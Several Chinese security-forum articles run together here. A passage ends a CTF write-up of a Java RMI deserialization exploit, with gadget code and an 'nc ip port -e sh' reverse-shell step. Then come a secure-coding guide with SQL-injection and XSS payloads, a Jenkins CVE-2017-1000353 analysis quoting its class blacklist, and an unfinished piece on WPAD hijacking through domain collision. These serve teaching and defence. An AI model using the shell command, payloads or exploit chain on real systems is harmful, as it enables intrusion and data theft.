InvocationHandler ref = Proxy.getInvocationHandler(registry.lookup("UserImpl"));
Field field = ref.getClass().getSuperclass().getDeclaredField("ref");
field.setAccessible(true);
UnicastRef unicastRef = (UnicastRef)field.get(ref);
LiveRef liveRef = (LiveRef) Reflections.getFieldValue(unicastRef,"ref");
TCPEndpoint tcpEndpoint = (TCPEndpoint)Reflections.getFieldValue(liveRef,"ep");
Reflections.setFieldValue(tcpEndpoint,"host","10.122.207.125");
RemoteObjectInvocationHandler remoteObjectInvocationHandler = new RemoteObjectInvocationHandler((RemoteRef) Reflections.getFieldValue(ref,"ref"));
final UserInter user = (UserInter) Proxy.newProxyInstance(UserInter.class.getClassLoader(),new Class[]{UserInter.class,Remote.class},remoteObjectInvocationHandler);
Gadget gadget = new Gadget();
Reflections.setFieldValue(gadget,"user",user);
Reflections.setFieldValue(gadget,"mName","newTransformer");
return gadget;
}
public static void main(String[] args) throws Exception {
PayloadRunner.run(TCTF3rmiExp.class, args);
}
}
整体调试一下链子还是很顺利的。
进入到UnicastRef.invoke()里面首先用newCall方法首先会建立一个连接到对应的RMI服务端。后面其实就是正常客户端获取RMIRegistry对象的流程了。
StreamRemoteCall初始化会在自己的this.out属性中序列化一些属性进去
然后判断如果方法有参数，调用 marshalValue 将参数写入到输出流，然后调用
executeCall。但我们这里很明显getGirlFriend没有参数所以不进入。
在executeCall中首先会释放输出流
然后获取服务端返回数据信息
然后读取第一个字节和81进行相等比较，81是在TransportConstants中定义好的代表Return标志位。
然后又会读取一个字节。读取的第二个字节会用于下面的流程判断，如果是1的话那么直接return，而如果是2的话，那么会对返回回来的数据进行反序列化（这是一个攻击点，也就是如果服务端返回回来的序列化数据，那么在这里客户端是可以进行反序列化的），其实ysoserial的JRMPListener就是利用的这里，实际上进入到`case
2`后就是处理TransportConstants.ExceptionalReturn报错情况，所以这也是为什么会说需要将payload放到报错信息中的原因。
这里很明显我们并没有进入到`case 2`。
跳出之后就是通过反序列化获取远程对象了
最后我们能够使用到自己实现的类来控制返回对象，返回一个使用MyInvocationHandler代理了Templates和Friend两个接口的类
然后通过findMethod就能够找到newTransformer方法。
然后第二行`this.user.getGirlFriend()`会进行上面同样的流程返回一个代理对象，然后通过反射调用这个类里面的newTransformer方法。又由于这个被MyInvocationHandler代理过所以会进入到MyInvocationHandler的invoke方法。
这里只要再控制`this.object.getObject()`为一个TemplatesImpl实例对象就能成功调用newTransformer方法从而实例恶意字节码执行命令了。
这里控制返回对象的方法和上面`this.user.getGirlFriend()`是一摸一样的就不再跟进一遍了。
rce效果图
### 攻击效果
先绑定恶意对象
反序列化rce链子，题目docker环境没有curl和bash，但是有nc可能确实是特意给的，所以利用`nc ip port -e
sh`即可反弹shell。
最终getshell
参考文章
<http://www.yongsheng.site/2022/07/11/RMI-attack/>
<https://www.cnblogs.com/zpchcbd/p/13517074.html>
<https://www.redmango.top/article/70>
<https://tttang.com/archive/1430/>
<https://xie.infoq.cn/article/9a9387805a496e1485dc8430f>
<https://wooyun.js.org/drops/java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E5%B7%A5%E5%85%B7ysoserial%E5%88%86%E6%9E%90.html> | 社区文章 |
>
> 很多技术研发不了解安全，也不重视安全，只有在自己的服务器被黑掉、被挂马、被脱裤才想起关注安全，但是这个时候，技术架构已经成型、代码已经在线上稳定运行，再亡羊补牢，改代码、改策略，往往成本巨大、而收效很低；所以，开发安全，从娃娃抓起……
## 一、什么是信息安全？
信息安全是一个庞大的概念，包含大量不同方向的分支技术，但是都涉及几个概念：
* `机密性（Confidentiality）`：即保证信息在产生、传输、存储、使用等环节不会被泄漏、被恶意窃取。在技术上典型的实现方式就是加密算法。加密算法主要分对称加密和非对称加密，对称加密的加解密密钥是一样的，所以在密钥在存储、传输时会有一定泄漏的风险，但加解密效率会相对高一些。非对称加密的密钥不同，各自不会互相影响，所以相对安全，但同样的，效率会低一些。因此，也随之产生多种可变的方案，比如，使用对称加密算法，密钥通过非对称加密算法进行加密，可以在效率和安全性上取得一定的平衡。加解密是一门很深的学科，也是信息安全领域一个方向。
* `完整性（Integrity）`：即保证信息在产生、传输、存储、使用等环节是真实完整的，不会被恶意篡改。在技术上典型的应用有数字签名、MD5、校验和等。其实在网络协议诞生的初期就已经存在完整性校验的概念，最典型的就是TCP/IP协议中各种报文的校验和。而现在互联网产品，尤其是移动端APP产品很多也都采用签名的策略，通过将接口传参、时间戳等进行一次签名，来防止业务数据在传输的过程中被篡改。
* `可用性（Availability）`：即保证信息在产生、传输、存储、使用等环节不会被破坏损毁。在技术上典型的应用，安全方面当然就是防DDoS了，DDoS攻击成本低，效果好，无论大小企业，现在俨然已成为难题之一。DDoS又分很多种，防护起来十分复杂。
以上是信息安全的基本属性，即CIA属性。此外，后期还衍生出其他的属性，如可控性、不可否认性等，总之都是对信息安全概念的补充。
而安全人员的工作，尤其是做企业安全建设的工作，就是围绕保护数据安全的过程，在事前、事中、事后三个阶段，技术上建立 **扫描、发现、监控、防御、应急、加固**
等一系列措施，在管理上完善流程、制度、规范，从而使以上几个安全属性得到保障。
概念说了很多，落地到实际是什么样子呢，简单总结了一个安全架构图，比较全的涵盖了企业安全建设的要点。
以上是宏观层面，那具体到每个技术研发同学的身上，最常见的就是对各种安全漏洞、安全风险的处理修复。下面介绍开发过程中常见的安全风险点。
## 二、SQL注入
sql注入危害很大，也很常见，可以导致企业数据直接被泄漏出去。典型的sql注入漏洞是这样产生的：
void doPost（HttpServletRequest request, HttpServletResponse response）{
JdbcConnection conn = new JdbcConnection();
final String sql = "select * from product where pname like '%” + request.getParameter("name") + "%'";
conn.execqueryResultSet(sql);
｝
在sql中直接拼接了字符串，导致用户可以通过插入恶意代码来控制sql执行。比如这样：
select * from product where pname like '%name%';
如果name变量输入 `qudian';drop database;//` 就变成了
select * from product where name like '%qudian';drop database;//%';
那么怎么防御sql注入呢？最简单正确的方式就是预编译。 为什么用预编译，首先要了解sql注入的原理：
> sql注入产生在数据库的编译阶段，拼接字符串时，sql和用户可控的数据部分拼接到一起，一次发送到数据库，
> 数据库编译时就会把sql指令和数据编译到一起，如果用户可控的数据部分有非法的命令，也会被数据库编译执行，这样就产生了sql注入。
而预编译的方式的简单原理是：
> sql和用户可控的部分是分两次发给数据库的，第一次发sql指令，也就是上个例子的`select * from product where pname
> like '%name%';`， 数据库收到后先进行编译，第二次再发送数据`qudian';drop
> database;//`，此时数据库不会重新编译第一次收到的指令，
> 而是把指令和数据区分开，这样不论用户输入的是什么非法数据，数据库都会认为是数据部分，也就不会产生sql注入了。
上面的过程通过抓包可以看到。
预编译的一般简单写法：
// 正常查询
conn = createConnection();
String sql = "select name,password from manager where name=? and password=?";
stat = conn.prepareStatement(sql);
stat.setString(1, name);
stat.setString(2, password);
stat.executeQuery(sql);
// 模糊查询
conn = createConnection();
String sql = "select * from table where url like ?";
stat = con.prepareStatement(sql);
String data="data";
stat.setString(1, "%"+data+"%");
stat.executeQuery(sql);
## 三、跨站脚本攻击：XSS
很多人不重视XSS，觉得XSS没有大危害，`只是能弹个窗有什么用?`但实际XSS的危害甚至不弱于远程代码执行等。平时常见的XSS的危害场景：
* 盗取cookie
* 读取用户隐私
* 蠕虫
* DDoS
* 钓鱼
* 键盘记录
* 执行代码
* 等等
### 3.1 XSS是怎么插的？
举个简单的例子,通常正常的表单是这样的：
<input class='txtValue' type='text' name='name' value='<% query.value %>'/>
访问的URL是这样的：<http://www.qufenqi.com/1.html?`value=abc`> ，最后看到的效果是这样的：
<input class='txtValue' type='text' name='name' value='abc'/>
但是现实总是和理想有差距，黑客通常会这样的URL参数来访问：
[http://www.qufenqi.com/1.html?`value=abc'/><script>alert('hello!')</script><div](http://www.qufenqi.com/1.html?`value=abc'/><script>alert\('hello!'\)</script><div)
'`
最后得到的就会是
<input class='txtValue' type='text' name='name' value='abc'/><script>alert('hello!')</script><div ''/>
这样就造成了XSS。
这种现象是产生的原因是由于服务端对用户的输入没有做任何处理，因此在浏览器渲染时，用户输入的js代码就会执行。
既然知道了原因，就不难修复，只要让浏览器渲染时js代码不会执行就可以了。
### 3.2 解决XSS的常用方法
* HTML标签之间：HTML实体编码；
* HTML属性里：HTML属性编码&#xHH; （以&#x开头，HH则是指该字符对应的十六进制数字，分号作为结束符）；
* Javascript里：Javascrpt编码\xHH （以 \x 开头，HH则是指该字符对应的十六进制数字）；
* CSS样式里：CSS编码\HH （以 \ 开头，HH则是指该字符对应的十六进制数字）；
* URL里：URL编码%HH（以 % 开头，HH则是指该字符对应的十六进制数字）；
* JSON里：Response.setContentType(“appliaction/json”);
* 富文本里：标签or属性过滤。
> 由于富文本中有需要用户提交一些html、js、css标签，因此不能直接处理，建议除可能必需保留的标签外，过滤其他危险标签。
>
> \- dynsrc、src、action、href、background、bgsound、lowers、value、onmouse*
> \- applet、blink、frameset、iframe、object、base、body、head、layer、style
> \- basefont、embed、html、link、title、bgdound、frame、player、meta、script
> \- vbscript、ms-its、firefoxurl、javascript、shtml、mocha、data、livescript
### 3.3 解决XSS常见的两种误区
#### 3.3.1 用关键字过滤的方式
关键字过滤能解决一部分常见的XSS，但是不能完全避免，通过转义等很多方式可以绕过过滤的方法。
比如这是正常的XSS语句：
<script>alert(1);</script>
但是把它变换一种形式，依然能够达到效果，比如这样：
<script>\u0061\u006c\u0065\u0072\u0074(1);</script>
#### 3.3.2 全局暴力转义
不论XSS输出在哪，都用一种方式转义。有时候开发会写一个全局的转义方法，之后不论什么时候在哪出现XSS，都调用这个方法，虽然暂时可行，但时间长了容易引入dom
xss，不是一个完美的方案。
## 四、跨站请求伪造CSRF
首先一个图简单明了的展现了CSRF的过程
> 简单的说就是在用户的某个网站cookie有效时，诱使用户去请求黑客构造好的恶意请求，就能在神不知鬼不觉的情况下进行攻击。
一个发生过的经典例子，某网站后台管理员更改密码的功能，没有校验目前使用的密码，可以直接设置新的管理员密码。
操作请求的参数只有一个新的密码，所以构造链接<http://xxx.com/updatepass?newpass=badpass，诱使管理员去请求，就可以默默的改变管理员密码。>
下一个问题就是如何诱使受害者去主动请求恶意的链接，方式多种多样，比如在自己的网站上插入这个链接，让用户访问你的网站；
在论坛里插入外链图片，图片链接是恶意的链接，这些都可以。
除此之外，CSRF结合其他漏洞更能达到惊喜的效果，前几年知名的`新浪微博蠕虫刷粉丝`，可以短时间增长大量的粉丝，就是CSRF和XSS在一起的功效。
那么防御CSRF的方案呼之欲出，目前主流的两种方案：
* 让黑客不能伪造恶意的请求
* 校验来源的请求是不是用户正常触发的
\- 第一点，通常使用token校验。
\- 第一步，用户登录时，服务端生成token，保存在session中。
\- 第二步，token可以放在表单中或者http请求头中。
\-第三步，客户端带着token发请求给服务端，服务端校验token。这样通过客户端和session中的token比较，就可以得知请求是否合法。由于token是随机字符串，黑客无法获取，也就无法构造请求了。
\- 第二点，校验referer，这是一个比较简单的实现方式，通过校验referer白名单也可以起到防御CSRF攻击的作用。
>
> 不过是这里有个坑，很多开发写正则来取referer，有时候就会造成各种绕过的姿势，比如www.qufenqi.com.baidu.com这样。因此在写正则的时候一定要注意。
## 五、登录注册安全风险
登录注册的风险点主要有四个：
* 暴力破解
* 撞库
* 遍历注册用户
* 批量注册
首先登录，三个必备的要素：`用户名、密码、验证码`；验证码可以是手机短信验证码或者图形验证码。
通过手机短信验证码既可以识别用户身份，为风控提供基础，又可以防护暴力破解、撞库等批量的攻击行为。
图像验证码则可以人机识别，防护暴力破解、撞库。引入了验证码机制同样引入了额外的安全风险，比如短信验证码的短信炸弹风险、图形验证码的可绕过、可识别等。
此外，也可以加入一些高级的安全策略，辅助分析防护安全风险，如异地登录提醒、记录非常用设备登录、校验用户历史行为。
> 这里简单说下校验用户历史行为：很多产品在设计需要校验身份的场景时，没有完全的考虑各类安全风险，一个常见的例子就是通过短信验证码来找回密码，
> 产品理想中的场景是短信验证码只能用户自己收到，所以可以确认用户身份，但实际有很多不可控的因素，比如，用户手机丢失的情况。因此，在注册登录点需要综合考虑各种情况。
当然，图形验证码如果设计开发的不当那也是形同虚设了。
一个完善的图形验证码流程是这样的：
1. 客户端发起一个请求。
2. 服务端响应并创建一个新的SessionID同时生成一个随机验证码。
3. 服务端将验证码和SessionID一并返回给客户端。
4. 客户端提交验证码连同SessionID给服务端。
5. 服务端验证验证码同时销毁当前会话，返回给客户端结果。
如果整个流程中的某个环节处理不当，则会产生各种问题：
1. `验证码不过期，可重复使用`。这是比例最大的验证码安全风险，产生这种现象的主要原因是验证码的刷新是在前端进行，服务端的功能只有接收验证码判断对错，并没有sessionid的机制，这样只要拦截请求每次使用这个验证码重新发包，就可以绕过验证码的策略做各种攻击尝试。正确的做法是每次校验验证码之后，服务端要重新生成验证码。
2. `验证码输出到客户端`。这种问题也很常见，很多验证码的逻辑是在请求验证码时，服务端不只返回验证码图片，还返回图片里的内容，这样通过抓取返回中的验证码内容字段就可以绕过验证码的人机识别过程。争取的做法是服务端返回时，不要返回验证码内容，直接返回一张图片即可。
3. `验证码前端生成，前端校验`。这里涉及安全的一个原则：永远不要信任用户端的输入。所有前端的代码都是可以被用户修改的，因此如果在前端做验证码处理，黑客则可以通过修改前端代码自己生成，自己校验，完全绕过验证码的逻辑。
4. `验证码可以被识别`。这是目前验证码的一个难题。现在图像识别的技术非常成熟，前端的数字字符验证码，即使增加了背景、干扰、粘连等措施，也可以被轻松识别。因此验证码技术现在逐渐发展成通过用户行为识别和找不同来做人机识别。比如滑动验证码、12306那类的验证码。
## 六、第三方系统的安全
很多产品避免不了和第三方产品的互相调用，但是在调用过程中如果不注意安全控制，很容易因为第三方系统的安全问题，导致自己的安全风险。
以前遇到过一个例子，某电商网站扩展二手回收业务，和某二手回收网站合作，会将自己的一些用户信息传给二手回收的系统，结果因为对方的安全做的不够完善，导致自己的大量用户信息被泄漏。
造成了很严重的影响。但是第三方的系统安全我们是控制不了的，因此我们只能互相调用的接口传输过程中加入安全策略。
通常有以下几种做法：
* `IP访问控制（白名单）`：这个是必需的，通常此类接口调用都不涉及很多的范围，都是双方之间的调用，需要做访问控制来限制恶意来源的访问扫描。
* `接口签名`：签名也是现在普遍的做法，通过签名可以确定接口传输的信息没有被恶意篡改。签名的简单逻辑是：签名串=MD5(明文参数&密钥)，然后将签名串作为参数与原来的参数一起发给服务端。服务端收到明文参数后，同样进行一次MD5(明文参数&密钥)，并于收到的签名串做比较，即可校验是否被篡改。现在的签名技术已经相对完善。
* `敏感数据加密`：敏感数据一定不要直接明文在互联网传输，要通过加密。加密算法可以选择对称加密和非对很加密，加密算法可以选用对称加密的AES或者非对称加密的RSA，或者二者综合使用。
简单的介绍了线上常见的几种安全风险，接下来说说几点安全基本的原则，也是各种安全方案的思想。 通过这几个原则可以扩展出很多成熟的安全方案：
* `不要信任用户的输入`：从用户端传过来的任何数据都是不可信的无论是请求头还是请求体，都是可以随便更改的。因此，这里边可能包含大量的恶意代码。用户传过来的数据一定要做一些关键的过滤、校验。对参数的类型、长度等一定要有预期，不符合预期的要做处理。此外，关键的算法、逻辑操作和数据不要在js中处理。js是可以随意更改的。一个典型的例子，大转盘抽奖一般是通过js实现，于是中奖的规则也在js中一起实现，js判断之后直接将中奖结果通知服务端，这样黑客就可以通过js随意控制抽奖的过程和结果了。
* `合理利用加密、签名`：加密和签名是安全策略中不可或缺的一部分。关键敏感的数据和接口一定要做加密和签名，加密和签名算法的选择又是一个庞大的话题，以后可以单独细说。
* `关键操作的身份认证`：关键操作不做身份认证就好像不问别人是谁就让他进你家门。在做身份认证时注意的几个要点：第一不要直接通过传参数来判断身份，比如userid，这是可以随意更改的；第二不要通过cookie中的某个字段判断身份，cookie中的信息也是可以随意更改的。正确的做法是通过session来获取用户身份。
* `逻辑步骤`：有时候有些逻辑步骤本可以一个步骤完成，却分成两个步骤，这种情况就有可能绕过第一个步骤直接判断第二个。举个简单的例子，登录时候输入用户名、密码、短信验证码，有的开发会先通过一个请求判断短信验证码是否正确，之后根据结果再发送请求。这时如果直接发送第二个请求就可以绕过短信验证码的校验，产生安全风险。因此，无论需要检验的参数数量有多少，都需要在一个步骤中做好所有的校验，之后再返回最终结果。
* `策略一致性`：现在的产品大多有多个平台，比如web端和app端。此时这两个平台的安全策略需要完全一致，才不会有疏漏。举一个以前遇到的例子，XSS的处理，在web端做输入过滤，在app端做输出转义，此时单独在两个平台都无法XSS，但是如果在app端输入，在web端输出，就恰好绕过两个平台的安全策略，最终成功XSS。因此，多个平台的产品，需要多个平台保持一致的安全策略才行。
想要说的也就这么多，其实很多问题没有深入，只是做了总结介绍，很多风险点由于篇幅关系也没有介绍，最后提醒大家：`一定要注意线上安全！！！`。 | 社区文章 |
作者：[
**Janes**](https://3wapp.github.io/2017/05/05/Jenkins-%E6%9C%AA%E6%8E%88%E6%9D%83%E8%BF%9C%E7%A8%8B%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E-CVE-2017-1000353/)
## 漏洞概要
Jenkins 未授权远程代码执行漏洞, 允许攻击者将序列化的Java SignedObject对象传输给Jenkins
CLI处理，反序列化ObjectInputStream作为Command对象，这将绕过基于黑名单的保护机制, 导致代码执行。
## 漏洞触发执行流程
[SSD的报告](https://blogs.securiteam.com/index.php/archives/3171)披露了完整的漏洞细节，作为才学JAVA的我来说，看完这份报告，依旧不清楚具体的执行流程，因此有了下文，梳理漏洞触发的具体执行流程。
触发jenkins反序列化导致代码执行的漏洞发生在使用HTTP协议实现双向通信通道的代码中，Jenkins利用此通道来接收命令。大致流程如下图:
### 如何建立双向Channel
基于HTTP建立双向Channel的入口函数位于`jenkins-2.46.1/core/src/main/java/hudson/cli/CLIAction.java`文件中
@Extension @Symbol("cli")
@Restricted(NoExternalUse.class)
public class CLIAction implements UnprotectedRootAction, StaplerProxy {
private transient final Map<UUID,FullDuplexHttpChannel> duplexChannels = new HashMap<UUID, FullDuplexHttpChannel>();
......
@Override
public Object getTarget() {
StaplerRequest req = Stapler.getCurrentRequest();
if (req.getRestOfPath().length()==0 && "POST".equals(req.getMethod())) {
// CLI connection request
throw new CliEndpointResponse();
} else {
return this;
}
}
private class CliEndpointResponse extends HttpResponseException {
@Override
public void generateResponse(StaplerRequest req, StaplerResponse rsp, Object node) throws IOException, ServletException {
try {
// do not require any permission to establish a CLI connection
// the actual authentication for the connecting Channel is done by CLICommand
UUID uuid = UUID.fromString(req.getHeader("Session"));
rsp.setHeader("Hudson-Duplex",""); // set the header so that the client would know
FullDuplexHttpChannel server;
if(req.getHeader("Side").equals("download")) {
duplexChannels.put(uuid,server=new FullDuplexHttpChannel(uuid, !Jenkins.getActiveInstance().hasPermission(Jenkins.ADMINISTER)) {
@Override
protected void main(Channel channel) throws IOException, InterruptedException {
// capture the identity given by the transport, since this can be useful for SecurityRealm.createCliAuthenticator()
channel.setProperty(CLICommand.TRANSPORT_AUTHENTICATION, Jenkins.getAuthentication());
channel.setProperty(CliEntryPoint.class.getName(),new CliManagerImpl(channel));
}
});
try {
server.download(req,rsp);
} finally {
duplexChannels.remove(uuid);
}
} else {
duplexChannels.get(uuid).upload(req,rsp);
}
} catch (InterruptedException e) {
throw new IOException(e);
}
}
}
}
从上述代码可知，建立一对双向通道(download/upload),
需要发送两次POST请求，根据请求头Session字段的值uuid识别不同的双向通道，Side字段的值识别download或upload通道，请求发送的顺序是先发送download请求再发送upload请求，跟进`download`函数(`/Users/js/IdeaProjects/vulnhub/jenkins-2.46.1/core/src/main/java/hudson/model/FullDuplexHttpChannel.java`),
当服务器收到download请求时会阻塞请求，等待upload请求，收到upload请求后，新建Channel对象处理upload请求和返回响应，代码如下:
public synchronized void download(StaplerRequest req, StaplerResponse rsp) throws InterruptedException, IOException {
......
{// wait until we have the other channel
long end = System.currentTimeMillis() + CONNECTION_TIMEOUT;
while (upload == null && System.currentTimeMillis()<end)
wait(1000);
if (upload==null)
throw new IOException("HTTP full-duplex channel timeout: "+uuid);
}
try {
channel = new Channel("HTTP full-duplex channel " + uuid,
Computer.threadPoolForRemoting, Mode.BINARY, upload, out, null, restricted);
......
} finally {
// publish that we are done
completed=true;
notify();
}
}
public synchronized void upload(StaplerRequest req, StaplerResponse rsp) throws InterruptedException, IOException {
rsp.setStatus(HttpServletResponse.SC_OK);
InputStream in = req.getInputStream();
if(DIY_CHUNKING) in = new ChunkedInputStream(in);
// publish the upload channel
upload = in;
notify();
// wait until we are done
while (!completed)
wait();
}
以上就是建立双向通道的基本过程。
### Channel对象启动ReaderThread
upload请求作为输入流实例化Channel对象(`~/.m2/repository/org/jenkins-ci/main/remoting/3.7/remoting-3.7-sources.jar!/hudson/remoting/Channel.java`),
Channel类的构造链比较繁琐如下图，
最终调用的构造方法为`Channel(ChannelBuilder settings, CommandTransport transport)`,
该构造方法的transport参数，由ChannelBuilder类的negotiate()方法获得。
protected CommandTransport negotiate(final InputStream is, final OutputStream os) throws IOException {
......
{// read the input until we hit preamble
Mode[] modes={Mode.BINARY,Mode.TEXT};
byte[][] preambles = new byte[][]{Mode.BINARY.preamble, Mode.TEXT.preamble, Capability.PREAMBLE};
int[] ptr=new int[3];
Capability cap = new Capability(0); // remote capacity that we obtained. If we don't hear from remote, assume no capability
while(true) {
int ch = is.read();
......
for(int i=0;i<preambles.length;i++) {
byte[] preamble = preambles[i];
if(preamble[ptr[i]]==ch) {
if(++ptr[i]==preamble.length) {
switch (i) {
case 0:
case 1:
......
return makeTransport(is, os, mode, cap);
case 2:
cap = Capability.read(is);
negotiate()会检查输入(upload请求)的前导码, 所有发往Jenkins
CLI的命令中都包含某种格式的前导码（preamble），前导码格式通常为：`<===[JENKINS REMOTING
CAPACITY]===>rO0ABXNyABpodWRzb24ucmVtb3RpbmcuQ2FwYWJpbGl0eQAAAAAAAAABAgABSgAEbWFza3hwAAAAAAAAAH4=`,
该前导码包含一个经过base64编码的序列化对象。“Capability”类型的序列化对象的功能是告诉服务器客户端具备哪些具体功能（比如HTTP分块编码功能）。
最后调用makeTransport()方法返回`CommandTransport`对象,
根据cap是否支持`Chunking`返回不同的对象`ChunkedCommandTransport`或`ClassicCommandTransport`。
protected CommandTransport makeTransport(InputStream is, OutputStream os, Mode mode, Capability cap) throws IOException {
FlightRecorderInputStream fis = new FlightRecorderInputStream(is);
if (cap.supportsChunking())
return new ChunkedCommandTransport(cap, mode.wrap(fis), mode.wrap(os), os);
else {
ObjectOutputStream oos = new ObjectOutputStream(mode.wrap(os));
oos.flush(); // make sure that stream preamble is sent to the other end. avoids dead-lock
return new ClassicCommandTransport(
new ObjectInputStreamEx(mode.wrap(fis),getBaseLoader(),getClassFilter()),
oos,fis,os,cap);
}
}
利用SSD的PoC脚本发送的upload请求返回的是`ClassicCommandTransport`对象，其继承关系如下图所示。
Channel构造函数`Channel(ChannelBuilder settings, CommandTransport transport)`中,
transport.setup()调用SynchronousCommandTransport类的setup()方法来启动一个ReaderThread线程。
public void setup(Channel channel, CommandReceiver receiver) {
this.channel = channel;
new ReaderThread(receiver).start();
}
### 读取Command对象
通过上面的ReaderThread.start()方法启动一个线程，ReaderThread为SynchronousCommandTransport类的内部类，在run()方法中，调用`ClassicCommandTransport`类的read()方法读取输入，read()方法实际是调用Command类的readFrom()方法读取，通过反序列化输入返回一个Command对象。
private final class ReaderThread extends Thread {
......
public ReaderThread(CommandReceiver receiver) {
super("Channel reader thread: "+channel.getName());
this.receiver = receiver;
}
@Override
public void run() {
final String name =channel.getName();
try {
while(!channel.isInClosed()) {
Command cmd = null;
try {
cmd = read();
public final Command read() throws IOException, ClassNotFoundException {
try {
Command cmd = Command.readFrom(channel, ois);
在反序列化输入返回一个Command对象时就执行了cmd命令，而不是通过正常的回调handle()方法执行cmd命令，反序列化导致的执行代码触发的相关异常如下:
类型转换异常`ClassCastException`: `org.apache.commons.collections.map.ReferenceMap
cannot be cast to hudson.remoting.Command`.
### 正常执行Command
虽说反序列化时就执行了cmd代码，这里也顺带了解下正常的执行cmd的过程。SynchronousCommandTransport类的run()方法中，获得返回的Command对象(cmd)，然后调用`receiver.handle(cmd);`处理命令，其实质是回调Channel类构造方法里面的handle方法，而传入handle方法的cmd参数就是反序列化得到的Command对象。
transport.setup(this, new CommandReceiver() {
public void handle(Command cmd) {
......
try {
cmd.execute(Channel.this);
## 绕过黑名单保护机制
上面过程主要讲述的是漏洞触发的流程，而该漏洞的核心是反序列化Java SignedObject对象会绕过黑名单保护机制，从而导致的代码执行漏洞。
ClassFilter类定义的默认的黑名单如下：
private static final String[] DEFAULT_PATTERNS = {
"^bsh[.].*",
"^com[.]google[.]inject[.].*",
"^com[.]mchange[.]v2[.]c3p0[.].*",
"^com[.]sun[.]jndi[.].*",
"^com[.]sun[.]corba[.].*",
"^com[.]sun[.]javafx[.].*",
"^com[.]sun[.]org[.]apache[.]regex[.]internal[.].*",
"^java[.]awt[.].*",
"^java[.]rmi[.].*",
"^javax[.]management[.].*",
"^javax[.]naming[.].*",
"^javax[.]script[.].*",
"^javax[.]swing[.].*",
"^org[.]apache[.]commons[.]beanutils[.].*",
"^org[.]apache[.]commons[.]collections[.]functors[.].*",
"^org[.]apache[.]myfaces[.].*",
"^org[.]apache[.]wicket[.].*",
".*org[.]apache[.]xalan.*",
"^org[.]codehaus[.]groovy[.]runtime[.].*",
"^org[.]hibernate[.].*",
"^org[.]python[.].*",
"^org[.]springframework[.](?!(\\p{Alnum}+[.])*\\p{Alnum}*Exception$).*",
"^sun[.]rmi[.].*",
"^javax[.]imageio[.].*",
"^java[.]util[.]ServiceLoader$",
"^java[.]net[.]URLClassLoader$"
};
黑名单机制绕过可以通过分析补丁得到印证。
## 参考
* <https://www.seebug.org/vuldb/ssvid-93062>
* <http://www.securityfocus.com/bid/98056>
* <https://blogs.securiteam.com/index.php/archives/3171>
* <https://jenkins.io/security/advisory/2017-04-26/>
* <https://github.com/jenkinsci/jenkins/commit/36b8285a41eb28333549e8d851f81fd80a184076>
* <https://github.com/jenkinsci/jenkins/commit/f237601afd750a0eaaf961e8120b08de238f2c3f>
* <http://www.lilihongblog.com/Blog/jenkins+Slave+Receiving+Remote+Request>
* * * | 社区文章 |
## 利用域名碰撞实现从任何地方发起中间人攻击
相比大家对中间人劫持的攻击相当了解，尤其是局域网中的中间人攻击。有很多的利用手段比如ARP投毒、DNS投毒、ICMP重定向等等，这类的文章在网上非常的多。但是今天要讨论的是一个全新的中间人攻击方式，这种方式在近几年的顶会论文中被研究。这种中间人攻击条件一旦具备，攻击者可以从任何地方对网络发起中间人劫持。
在这篇文章里我将总结和分析这类攻击的原理，并列举目前网络上存在这些漏洞的服务应用。最后讨论一下作为软件开发人员应该怎么去防范这类攻击。
### 背景知识
在很多私有网络环境里会使用许多私有的域名后缀比如.ntld等等。在ICANN（The Internet Corporation for Assigned
Names and
Numbers）[互联网名称与数字地址分配机构](https://baike.baidu.com/item/%E4%BA%92%E8%81%94%E7%BD%91%E5%90%8D%E7%A7%B0%E4%B8%8E%E6%95%B0%E5%AD%97%E5%9C%B0%E5%9D%80%E5%88%86%E9%85%8D%E6%9C%BA%E6%9E%84/2775450)
最初指定的顶级域名中有.com、.org等，这些后缀的域名可以被公共网络的用户注册和使用。但是几年前，该组织对gTLD（Generic top-level
domain，通用顶级域）进行了扩充，将许多泄露的私有域名后缀列为了合法的通用顶级域。这个举措就导致了后面的攻击发生。
在介绍攻击之前，需要介绍本文涉及的一些知识点。
* （1）WPAD协议
全称：WebProxy Auto Discovery Protocol。WPAD
通过让浏览器自动发现代理服务器，使代理服务器对用户来说是透明的，进而轻松访问互联网。WPAD 可以借助 DNS 服务器或 DHCP
服务器来查询代理自动配置(PAC)文件的位置。
* （2）PAC文件
全称： Proxy auto-config。一个PAC文件包含一个JavaScript形式的函数“FindProxyForURL(url,
host)”。这个函数返回一个包含一个或多个访问规则的字符串。 用于控制用户访问网络资源的时候是否需要使用代理以及使用何种代理。一个典型的例子如下：
* （3）基于DNS的服务发现协议
英文名称：DNS-based Service Discovery。基于DNS的服务发现协议在RFC 6763文件中被定义，简称DNS-SD。比如想发现一个comp.ntld域下的svc服务所在的IP和端口，整个过程如下：
* DNS PTR请求发送给DNS服务器得到所有的服务实例名称
* 对于每一个服务实例名称，一条SRV请求会被处理得到服务的IP和端口
* 上述PTR和SRV请求的格式都会是_svc._prot.comp.ntld这样的，这也是标准的格式。
* （4）AS域
自治系统：autonomous system。在互联网中，一个自治系统(AS)是一个有权自主地决定在本系统中应采用何种路由协议的小型单位。
### WPAD中间人攻击
在你的浏览器中开启自动切换代理就是开启了WPAD协议，我们设想一个这样的攻击场景（如图）。受害者启用WPAD协议，然后去DNS服务器上请求PAC文件所在的链接，之后DNS服务器返回受害者PAC资源路径，然后受害者电脑下载这个PAC文件并设置。
问题就在于如果DNS返回给用户的是恶意的PAC文件，这个文件将所有流量代理设置为攻击者的服务器，那么受害者之后所有的流量都会被传送攻击者，这就是中间人攻击的模型。
整个中间人攻击的核心就是图中红色的返回内容，但是过去的攻击基本都要依靠局域网的投毒或者从DNS投毒、缓存等角度去实现。这篇文章利用的是域名碰撞，接下来我们将详细分析。
### 利用域名碰撞实现任何地方发起的中间人攻击
如下图所示，在受害者的自治域（AS）内，有一条WPAD服务请求被泄露发送到公网的DNS服务器里，比如root根服务器，由于这个服务请求是请求company.ntld域下的WPAD服务，这是个私有域，公网的根服务器当然不知道这种域名的情况，因此会返回给请求的客户端NXD消息（
Non-eXistent Domain
）。泄露的原因多种多样，因为DNS服务器本身查询这种不存在域名的时候会向根服务器发送查询指令导致泄露，有可能是服务应用本身配置不当导致的泄露。
